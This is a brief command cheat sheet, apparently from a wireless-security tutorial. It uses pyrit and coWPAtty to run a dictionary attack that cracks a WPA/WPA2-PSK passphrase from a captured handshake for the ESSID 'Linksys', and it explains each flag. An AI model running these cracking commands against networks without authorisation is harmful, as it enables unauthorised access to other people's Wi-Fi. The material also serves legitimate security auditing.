Determining performance of cores

pyrit benchmark

Create a new ESSID

pyrit -e Linksys create_essid

Import list of passwords

pyrit -f dict.txt import_passwords

 Start Batch Processing

pyrit batch

Cracking WPA/WPA2-PSK using pyrit/coWPAtty

pyrit -e “Linksys” -f dict.txt passthrough | cowpatty -d – -r wpa2handshake.cap -s “Linksys“
“-e” ESSID for the command
“-f” Filename for the command (’-’ is stdin/stdout)
“-d” Hash file
“-” Accept words on stdin
“-r” Packet capture file
“-s” Network SSID
